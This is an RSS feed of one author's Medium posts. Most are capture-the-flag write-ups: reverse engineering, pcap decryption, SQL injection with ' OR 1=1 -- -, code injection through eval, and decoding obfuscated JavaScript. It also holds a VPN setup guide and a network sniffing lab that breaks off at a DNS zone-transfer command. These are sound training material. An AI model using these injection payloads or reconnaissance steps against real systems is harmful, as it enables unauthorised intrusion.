<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by N1NJ10 on Medium]]></title>
        <description><![CDATA[Stories by N1NJ10 on Medium]]></description>
        <link>https://medium.com/@N1NJ10?source=rss-9988103996ed------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QV_3sNIAMuLuTCtQKpHISw.jpeg</url>
            <title>Stories by N1NJ10 on Medium</title>
            <link>https://medium.com/@N1NJ10?source=rss-9988103996ed------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:35:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@N1NJ10/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CyberTalents : Find the Pass Challenge]]></title>
            <link>https://medium.com/@N1NJ10/cybertalents-find-the-pass-challenge-59e1120bde30?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/59e1120bde30</guid>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[cyberatletas]]></category>
            <category><![CDATA[n1]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Sat, 17 Jun 2023 13:42:36 GMT</pubDate>
            <atom:updated>2023-06-17T13:42:36.114Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberTalents : Find the Pass Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*PPkwQvKxGUuH4Z5sRO8h0w.png" /><figcaption>Hello N1</figcaption></figure><p>Welcome <strong>N1NJ10 </strong>, In new writeup about Reverse Engineering from CyberTalents , This Challenge will help you understand reverse engineering basics and understand code flow from assembly instructions</p><p>Let’s start</p><p><strong>Q1- What is the address of the main function?</strong></p><p>After downloading the .exe file , Start the program to see what is his function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*8efHkD8IsGuWNE9Z8nlWbg.png" /><figcaption>Who is Fady_Moheb ???</figcaption></figure><p>Seems this is the password checker program , Now we know what is the program function , Let’s start to analysis it</p><p>I prefer <a href="https://ghidra-sre.org/">GHIDRA</a> for this task , After opening the program in GHIDRA and start to analysis it</p><p>I start to look for a function that ask me to write a Pass as i see when i start the program cuz this is the main ( entry ) function , after few seconds i found it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0qqkdl1n_giPcSb8hki1g.png" /><figcaption>what is the main fun ??</figcaption></figure><p>Note : what is the main function ?? <a href="https://learn.microsoft.com/en-us/cpp/c-language/main-function-and-program-execution?view=msvc-170#:~:text=The%20main%20function%20serves%20as,to%20any%20other%20C%20functions.">here</a></p><p><strong>Q2- What is the address of the function that Validates the input?</strong></p><p>I notice that there is a variable get a value from fun called <strong><em>bVar1 </em></strong>this fun check if the input we entered is the correct one , So i start to check it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cm-GDrsH0lLBdH6EuhKhhQ.png" /><figcaption>what is the password elliot ?</figcaption></figure><p>After reading the code i understand that this is the function that Validates the input that we entered</p><p><strong>Q3- What is the address of the hardcoded password?</strong></p><p>I checked the code again , I see that the correct password is stored in a variable so i click on it to see it’s address and see this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qCNtLucYivMGwvn1UTjr5g.png" /><figcaption>ya lyl al3ash8yn ahl alghram msakyn !!</figcaption></figure><p>So i found two locations i try both one is the answer , After know how the program works , So you should now know the password try to write it in the terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*ItKV5thQkizp3awwI8Q_vQ.png" /><figcaption>Correct Pass my N1</figcaption></figure><p>Now you are fine to submit the flag my <strong>N1NJ10</strong></p><p>Note : when you submit the flag don’t forget to remove the 00 , ex: 004010101 ==&gt; 4010101</p><p>Click Here To Join Telegram</p><p><a href="https://t.me/N1NJ10">N1NJ10</a></p><p>and thank you for taking the time to read my article .<br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br>it to help others with similar interests! + Feedback is always welcome!</p><p>You can find me on:</p><p><strong>Facebook:- </strong><a href="https://www.facebook.com/FADYMo7eB">https://www.facebook.com/FADYMo7eB</a><strong><br>LinkedIn:- </strong><a href="https://www.linkedin.com/in/fadymoheb">https://www.linkedin.com/in/fadymoheb</a><strong><br>Twitter:- </strong><a href="https://twitter.com/FadyMo7eb?s=09">https://twitter.com/FadyMo7eb?s=09</a><strong><br>Tryhackme:- </strong><a href="https://tryhackme.com/p/FadyMoheb">https://tryhackme.com/p/FadyMoheb</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59e1120bde30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTalents : Cypher Anxiety Challenge]]></title>
            <link>https://medium.com/@N1NJ10/cybertalents-cypher-anxiety-challenge-1ee8f46a2f8a?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ee8f46a2f8a</guid>
            <category><![CDATA[md5]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[n1]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[cyberatletas]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Thu, 15 Jun 2023 17:03:14 GMT</pubDate>
            <atom:updated>2023-06-15T17:03:14.855Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberTalents : Cypher Anxiety Challenge</h3><p>Welcome N1NJ10 , In another writeup from Cybertalents challenges , this time we will talk about several topics like cryptcat , wireshark , md5 , ….</p><p>Let’s start</p><p>Click on the Link that provided to start downloading the pcap file , Then unzip it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*V-x50oAKPwQpmJ1nSQXS4Q.png" /><figcaption>FIND_THE_IMAGE</figcaption></figure><p>So it shows that we have pcap file , let’s see there is something hidden inside or not</p><p>Let’s start with <a href="https://linux.die.net/man/1/strings"><strong>strings</strong></a><strong> </strong>command</p><pre>strings FILE_NAME</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*iEfe3CbjSrpkUBsWDVmmng.png" /><figcaption>P@sswordaya</figcaption></figure><p>You will notice that there is a massage for us Tell us that the password for cryptcat description key is P@sswordaya and the port is 7070 in the pcap</p><p>I like to use next the <a href="https://www.kali.org/tools/binwalk/"><strong>binwalk</strong></a><strong> </strong>tool , But without any answers</p><pre>binwalk FILE_NAME</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMqBxptOYN1yGwUAZ9PwqA.png" /><figcaption>NONE</figcaption></figure><p>Let’s open the pcap file with wireshark</p><pre>wireshark -r FILE_NAME</pre><p>I used <strong><em>tcp.port==7070</em></strong> as a filter and take the first PSH packet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ztpMioSwlEaJ6gduTUGq_g.png" /><figcaption>But,what!!</figcaption></figure><blockquote>Note : this is not the first PSH packet , why you choose PSH packets ??</blockquote><blockquote>The packet 3461 is realy the First PSH packet put you miss something my <strong>N1NJ10 </strong>that the first PSH packet between 2 nodes is to agreed about the the sequance nubmers so the First packet not have any data</blockquote><blockquote>The PSH packets is the packets that have the data so i start from the first one send and it works by way</blockquote><p>Then right click ==&gt; Follow ==&gt; TCP Stream , you will see cipher data so from the bottom click on ASCII then choose Raw , Then save the file as a RAW</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqLLhymKWZMy0vyMWm-uEQ.png" /><figcaption>RAW_FILE</figcaption></figure><p>Back again to our terminal , We need to act a real encrypted connection between nodes</p><p>First You need to start <a href="https://www.kali.org/tools/cryptcat/">cryptcat</a> to listen with the right key</p><pre>cryptcat -l -k P@ssawordaya -p 1234 &gt; N1_Output</pre><p>So you start listing on 1234 port , Then send the file you saved with nc</p><pre>nc 127.0.0.1 1234 &lt; N1NJ10</pre><p>After 5 seconds click CTRL+C to end the connection , You should see now a JPEG file , the flag is the md5 of the imag</p><pre>md5sum N1-Output</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4BS866XoZOQwN5kIN2D6NA.png" /><figcaption>Are you talent boy ??</figcaption></figure><p>Now you should see the flaag my <strong>N1NJ10</strong></p><p>Click Here To Join Telegram</p><p><a href="https://t.me/N1NJ10">N1NJ10</a></p><p>and thank you for taking the time to read my article .<br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br>it to help others with similar interests! + Feedback is always welcome!</p><p>You can find me on:</p><p><strong>Facebook:- </strong><a href="https://www.facebook.com/FADYMo7eB">https://www.facebook.com/FADYMo7eB</a><strong><br>LinkedIn:- </strong><a href="https://www.linkedin.com/in/fadymoheb">https://www.linkedin.com/in/fadymoheb</a><strong><br>Twitter:- </strong><a href="https://twitter.com/FadyMo7eb?s=09">https://twitter.com/FadyMo7eb?s=09</a><strong><br>Tryhackme:- </strong><a href="https://tryhackme.com/p/FadyMoheb">https://tryhackme.com/p/FadyMoheb</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ee8f46a2f8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTalnets : Easy access Challenge]]></title>
            <link>https://medium.com/@N1NJ10/cybertalnets-easy-access-challenge-8d0fa03e12a?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d0fa03e12a</guid>
            <category><![CDATA[n1]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cyberatletas]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Thu, 15 Jun 2023 14:46:34 GMT</pubDate>
            <atom:updated>2023-06-15T14:46:34.403Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberTalnets : Easy access Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eUkVGzwMtY5PoXXSMjeMCA.jpeg" /><figcaption>Only superpower makes you see unlimited view.</figcaption></figure><p>Welcome N1NJ10 , In another writeup from Cybertalents challenges , this time we will talk about SQL Injection in Web Applications</p><p>Let’s start</p><p>Open the Link that provided after start the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bc0ngMNbgRQmKl2h02hEIw.png" /><figcaption>login_page</figcaption></figure><p>Ok we have 2 input fields , Let’s see the source page first</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M0VAxPxzL0M3nBZXd3SlmA.png" /><figcaption>source_page</figcaption></figure><p>Well we find credentials , Let’s to use them to get in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EpY7ardK1WWO9eFMDMEVLA.png" /><figcaption>Admin||what</figcaption></figure><p>It seems we are not admin to see the flag , So let’s go back again and see what we can do</p><p>I test the famous SQL Injection line ever</p><pre>&#39; OR 1=1 -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOf2XBKeMB7gG6NhPD795A.png" /><figcaption>1!=1</figcaption></figure><p>Let’s give it a shot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-Gch92vNtbg-o3iQYudeg.png" /><figcaption>flaaaag</figcaption></figure><p>Now you should see the flaag my <strong>N1NJ10</strong></p><p>Click Here To Join Telegram</p><p><a href="https://t.me/N1NJ10">N1NJ10</a></p><p>and thank you for taking the time to read my article .<br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br>it to help others with similar interests! + Feedback is always welcome!</p><p>You can find me on:</p><p><strong>Facebook:- </strong><a href="https://www.facebook.com/FADYMo7eB">https://www.facebook.com/FADYMo7eB</a><strong><br>LinkedIn:- </strong><a href="https://www.linkedin.com/in/fadymoheb">https://www.linkedin.com/in/fadymoheb</a><strong><br>Twitter:- </strong><a href="https://twitter.com/FadyMo7eb?s=09">https://twitter.com/FadyMo7eb?s=09</a><strong><br>Tryhackme:- </strong><a href="https://tryhackme.com/p/FadyMoheb">https://tryhackme.com/p/FadyMoheb</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d0fa03e12a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTalents : Hashable Challenge]]></title>
            <link>https://medium.com/@N1NJ10/cybertalents-hashable-challenge-d4494e2d46b1?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4494e2d46b1</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[code-injection]]></category>
            <category><![CDATA[cyber-talents]]></category>
            <category><![CDATA[n1]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Thu, 15 Jun 2023 14:23:39 GMT</pubDate>
            <atom:updated>2023-06-15T14:23:39.427Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberTalents : Hashable Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hG09wlPIP-gdbnBKw1OT6Q.jpeg" /><figcaption>A famous enterprise blog was hacked, can you figure out how it was hacked?</figcaption></figure><p>Welcome N1NJ10 , In another writeup from Cybertalents challenges , this time we will talk about Code Injection in Web Applications</p><p>Let’s start</p><p>Open the Link that provided after start the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8SzgbzAv7K_-Ok3tWQblAQ.png" /><figcaption>Hashable.com</figcaption></figure><p>I search here and there found nothing interesting except Contact page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNhRD9ec_J-GPjtxxxb8KA.png" /><figcaption>Contact_Me</figcaption></figure><p>Good there is an input fields we can test several things sql injection , xss , … but first i wanna to see an error to what i have to do first</p><p>So i entered this in every input field ‘“!#%^&amp;@#$! , And i got this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fIugDS9ubcHcAYHQXIVpTw.png" /><figcaption>eval_is_here</figcaption></figure><p>Well from error we see that the website execute the commands with the eval function , So if we inject it with malicious code may give us the control in here</p><blockquote>Note : what is eval() function</blockquote><p><a href="https://en.wikipedia.org/wiki/Eval">eval - Wikipedia</a></p><p>So let’s start and inject it , I have try various chances and finally this work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iewu7Phjbc7YKnMO6DjDiA.png" /><figcaption>www-data</figcaption></figure><blockquote>Note : You can find command-injection-payload-list from here</blockquote><p><a href="https://github.com/payloadbox/command-injection-payload-list">GitHub - payloadbox/command-injection-payload-list: 🎯 Command Injection Payload List</a></p><p>So let’s list our diiiiiiiiiiiir</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HLUFilJI4L0c2G9EhMpQFA.png" /><figcaption>who is LISA??</figcaption></figure><p>You will see a file called flag , what’s insided it ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrPfWojAKJbgm9M-vc6MXA.png" /><figcaption>flag.txt</figcaption></figure><p>Now you should see the flaag my <strong>N1NJ10</strong></p><p>Click Here To Join Telegram</p><p><a href="https://t.me/N1NJ10">N1NJ10</a></p><p>and thank you for taking the time to read my article .<br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br>it to help others with similar interests! + Feedback is always welcome!</p><p>You can find me on:</p><p><strong>Facebook:- </strong><a href="https://www.facebook.com/FADYMo7eB">https://www.facebook.com/FADYMo7eB</a><strong><br>LinkedIn:- </strong><a href="https://www.linkedin.com/in/fadymoheb">https://www.linkedin.com/in/fadymoheb</a><strong><br>Twitter:- </strong><a href="https://twitter.com/FadyMo7eb?s=09">https://twitter.com/FadyMo7eb?s=09</a><strong><br>Tryhackme:- </strong><a href="https://tryhackme.com/p/FadyMoheb">https://tryhackme.com/p/FadyMoheb</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4494e2d46b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CYBERTALENTS THIS IS SPARTA CHALLANGE]]></title>
            <link>https://medium.com/@N1NJ10/cybertalents-this-is-sparta-challange-209fb446e5d7?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/209fb446e5d7</guid>
            <category><![CDATA[cyber-talents]]></category>
            <category><![CDATA[decodechallenge]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[sparta]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Thu, 08 Jun 2023 14:18:59 GMT</pubDate>
            <atom:updated>2023-06-08T14:18:59.102Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*sUAUiwHZImuiFT2MSPp06g.png" /><figcaption>wEL00Me~<strong>NJ</strong></figcaption></figure><p>Welcome N1NJ10 , this writeup is from <a href="https://cybertalents.com/">cybertalents</a> about basic xss and decoding skills , Let’s start</p><p>First , I try random username , password and get this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*iUxjegRQhFL0oZxKzyDkyA.png" /><figcaption>XSS</figcaption></figure><p>So i start to look at the source page for this site , I find this block</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lIT-HSGc96qHjWeU7VUC6A.png" /><figcaption>scr!pt</figcaption></figure><p>I recognized that this is hex code with if statement , So i took it to <a href="https://gchq.github.io/CyberChef/#">CyberChef</a> and encode it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*65MK0CMXKViya7MLVWGxEQ.png" /><figcaption>CyberChef</figcaption></figure><p>After rearranging the decoded the output like this</p><pre>var _0xae5b = [&quot;value&quot;, &quot;user&quot;, &quot;getElementById&quot;, &quot;pass&quot;, &quot;Cyber-Talent&quot;, &quot;                      Congratz \x0A\x0A &quot;,&quot;wrong Password&quot;];<br><br>function check() {<br>    var _0xeb80x2 = document[_0xae5b[2]](_0xae5b[1])[_0xae5b[0]]; // this is the user var [&quot;getElementById&quot;,&quot;user&quot;,&quot;value&quot;]<br>    var _0xeb80x3 = document[_0xae5b[2]](_0xae5b[3])[_0xae5b[0]]; // this is the pass var [&quot;getElementById&quot;,&quot;pass&quot;,&quot;value&quot;]<br>    if (_0xeb80x2 == _0xae5b[4] &amp;&amp; _0xeb80x3 == _0xae5b[4]) { // if user==Cyber-Talent &amp;&amp; pass==Cyber-Talent<br>        alert(_0xae5b[5]); // print the 5th element of the _0xae5b which is Congratz \x0A\x0A<br>    } else {<br>        alert(_0xae5b[6]); // print the 6th element of the _0xae5b wich is wrong Password<br>    }<br>}</pre><p>That’s mean is we write Cyber-Talent in the username and the password we will get a different result , Let’s suiiiiii</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*M-9VVVBY4-j1QBXLVpF1QQ.png" /><figcaption>P!ngo</figcaption></figure><p>Now you should see the flaag my <strong>N1NJ10</strong></p><p>Click Here To Join Telegram</p><p><a href="https://t.me/N1NJ10">N1NJ10</a></p><p>and thank you for taking the time to read my article .<br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br>it to help others with similar interests! + Feedback is always welcome!</p><p>You can find me on:</p><p><strong>Facebook:- </strong><a href="https://www.facebook.com/FADYMo7eB">https://www.facebook.com/FADYMo7eB</a><strong><br>LinkedIn:- </strong><a href="https://www.linkedin.com/in/fadymoheb">https://www.linkedin.com/in/fadymoheb</a><strong><br>Twitter:- </strong><a href="https://twitter.com/FadyMo7eb?s=09">https://twitter.com/FadyMo7eb?s=09</a><strong><br>Tryhackme:- </strong><a href="https://tryhackme.com/p/FadyMoheb">https://tryhackme.com/p/FadyMoheb</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=209fb446e5d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OPENVPN ON TRYHACKME]]></title>
            <link>https://medium.com/@N1NJ10/openvpn-on-tryhackme-4dcb0aa4040f?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/4dcb0aa4040f</guid>
            <category><![CDATA[egypt]]></category>
            <category><![CDATA[openvpn-setup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[openvpn]]></category>
            <category><![CDATA[proxy]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Thu, 08 Jun 2023 14:15:24 GMT</pubDate>
            <atom:updated>2023-06-08T14:15:24.625Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cz73plH3Eka5Eg5fYZIVCQ.png" /><figcaption>Welc0me~<strong>N1NJ10</strong></figcaption></figure><p>Welcome <strong>N1NJ10 </strong>, Today we will discuss about connecting to <a href="https://medium.com/u/dc49a0a3cb16">TryHackMe</a> network using OpenVPN from countries that block the VPN connection especially from Egypt</p><p>Let’s start</p><p>First , Test your connection with ping on google.com</p><pre>ping google.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y98kftVVV7hUwl9QB13JXw.png" /><figcaption>ping First !…</figcaption></figure><p>Well , we are fine now to test openvpn first on our tryhackme_file.ovpn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-VzQruNtGjy8iMsG5MzNCQ.png" /><figcaption>Fai!!</figcaption></figure><p>Ok , that’s mean our connection still being blocked !! , That’s mean we should use a proxy server</p><p>I like to use CloudFlare servers , You can download your CloudFlare-client Desktop app from <a href="https://pkg.cloudflareclient.com/packages/cloudflare-warp">here</a> and choose the Debian Bullseye your version if you use kali linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*9AYJnXeQnpTGHgS-7hsWcQ.png" /><figcaption>Cloud~fare</figcaption></figure><p>After downloading your version , You should install the Client APP with</p><pre>dpkg -i Your_Cloudfare_wrap.deb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*60i31CRrFGjMk7u2T0pzHQ.png" /><figcaption>dpkg</figcaption></figure><p>Then , we should start the service and register on it</p><pre>systemctl start warp-svc.service<br><br>warp-cli register</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*wEVxD8FZbJ0OK2YfTJ7GCw.png" /><figcaption>register_first</figcaption></figure><p>Now , we register and start the service , Let’s start the service after this you should see the warp==on &amp;&amp; there is a new network card called CloudFare appear</p><pre>warp-cli connect <br><br>curl https://www.cloudflare.com/cdn-cgi/trace/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*RLn0LmtFaRzSULbOGATB8Q.png" /><figcaption>warp==0n</figcaption></figure><p>Now , we are good to give it a sh00t</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7fLHV-Xuzh-rATi7Xzghw.png" /><figcaption>Ping0!0</figcaption></figure><p>Pingo , it works now we can test it by going to the tryhackme website and see the access page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ViadX_vCPYTymz3p7jjuRw.png" /><figcaption>Test</figcaption></figure><blockquote>Note : you should start the service for every time you reboote the system</blockquote><blockquote>for making it automatically start when start the system</blockquote><pre>warp-cli enable-always-on</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*ZNSx6XL2BEuYEd3gfIkOkA.png" /><figcaption>aut0matica!!y</figcaption></figure><p>Now you’re good to start Your journey my <strong>N1NJ10</strong></p><p>Click Here To Join Telegram</p><p><a href="https://t.me/N1NJ10">N1NJ10</a></p><p>and thank you for taking the time to read my article .<br>If you found it helpful, please hit the 👏 button 👏 (up to 40x) and share<br>it to help others with similar interests! + Feedback is always welcome!</p><p>You can find me on:</p><p><strong>Facebook:- </strong><a href="https://www.facebook.com/FADYMo7eB">https://www.facebook.com/FADYMo7eB</a><strong><br>LinkedIn:- </strong><a href="https://www.linkedin.com/in/fadymoheb">https://www.linkedin.com/in/fadymoheb</a><strong><br>Twitter:- </strong><a href="https://twitter.com/FadyMo7eb?s=09">https://twitter.com/FadyMo7eb?s=09</a><strong><br>Tryhackme:- </strong><a href="https://tryhackme.com/p/FadyMoheb">https://tryhackme.com/p/FadyMoheb</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4dcb0aa4040f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[POISONING & SNIFFING LAB]]></title>
            <link>https://medium.com/@N1NJ10/poisoning-sniffing-lab-79e411647ff3?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/79e411647ff3</guid>
            <category><![CDATA[sniffing]]></category>
            <category><![CDATA[man-in-the-middle-attack]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[poisoning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Fri, 19 May 2023 14:50:03 GMT</pubDate>
            <atom:updated>2023-05-19T14:50:03.188Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGV2Oc72Ro3UVazO3gCMWw.jpeg" /><figcaption>We1C0m10</figcaption></figure><p>Welcome N1NJ10 , Today we will talk about sniffing &amp; poisoning and how we can do this , tools , tactics , spoofing , ..</p><p>Let’s start</p><p>First we will see what our Nic cards IP’S</p><blockquote>Hint : our scope in 172.16.5.0/24 range only and only on DNS,SMB service</blockquote><pre>ifconfig</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*SZZxq0BRBjW25N2MOcNs0g.png" /><figcaption>Ifconfig~result</figcaption></figure><p>As we see we can access 192.168.0.0/24 , 172.16.5.0/24 network but our scope in 172.16.5.0/24 range , Let’s make arp scan with 3 methods , First with <a href="https://www.kali.org/tools/arp-scan/">arp-scan</a> tool</p><pre>arp-scan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*QTzGXm-uWu4q8uqV86S98Q.png" /><figcaption>arp-scan</figcaption></figure><p>Second Nmap tool</p><pre>nmap -sn 172.16.5.* -T4 </pre><blockquote>HINTS : <strong>-sn</strong> disable port scan , <strong>-T</strong> is Timing Templates to speed up the process and i choose 4 for more <a href="https://nmap.org/book/performance-timing-templates.html">info</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*ZB8S0RD3XI8zkF4G59L2SA.png" /><figcaption>arp_scan_with_nmap</figcaption></figure><p>Last one is with <a href="https://www.kali.org/tools/netdiscover/">netdiscover</a> tool</p><pre>netdiscover -r 172.16.5.0/24 -i eth1 -P </pre><blockquote>HINTS : <strong>-r</strong> for the ip range to scan , <strong>-i</strong> to specify the Nic , <strong>-P</strong> to print suitable format</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*h_3tgIBvMGi8Cmz2Gmrwiw.png" /><figcaption>Netdiscover~dosen’t~work !!</figcaption></figure><p>I tried many solution but fails every time i checked <a href="https://www.wireshark.org/">Wireshark</a> also but with no useful result</p><p>At the end i found this is a global issue you can solve it from here</p><p><a href="https://unix.stackexchange.com/questions/579706/netdiscover-not-showing-any-results">Netdiscover not showing any results</a></p><p>Finally i discover that i can make an arp scan with netdiscover with the NIC only</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*oIisPrQgkXwQJQNaEYp7Hw.png" /><figcaption>Net-discover_worked</figcaption></figure><p>Fine , Let’s make a port scan to see what services run on them , i used nmap again</p><pre>nmap -Pn --disable-arp-ping -T4 -n -p53 -sT -sU 172.16.5.1,6,5,10</pre><blockquote>HINTS : <strong>-Pn</strong> for disable the ping , <strong>— disable-arp-ping</strong> to disable Neighbor Discovery , -T4 , <strong>-n</strong> never resolution for DNS, <strong>-p</strong> for specify ports , <strong>-sT</strong> for tcp scan , <strong>-sU</strong> for udp scan</blockquote><blockquote><strong>Why i use tcp full scan , udp scan ?</strong></blockquote><blockquote>cuz DNS can work in both tcp and udp</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*UZ65Wt1N7ztDVZ-2TzFm4g.png" /><figcaption>dns_scan</figcaption></figure><p>Ok it seems 172.16.5.10 is a dns server , Let’s use <a href="https://www.ibm.com/docs/en/aix/7.1?topic=d-dig-command">dig</a> to ask 172.16.5.10 about the other domains that existence in our network</p><pre>dig @172.16.5.10 -x IP +nocookie -t any</pre><blockquote>HINTS : <strong>@IP</strong> this is the dns server ip to ask , <strong>-x</strong> the ip to ask about , <strong>+nocookie</strong> sent the packet with blank cookie fields, <strong>-t</strong> to ask about the query type i put it any to ask about all types</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*-oJ8sj2j5FVKsCpwyXSwFw.png" /><figcaption>dig_result</figcaption></figure><p>Fine , I found 3 domains , It seems that all of them have the same sportsfoo.com</p><p>Ok we can make a Zone Transfer query about it</p><pre>dig @172.16.5.10 sportsfoo.com -t AXFR 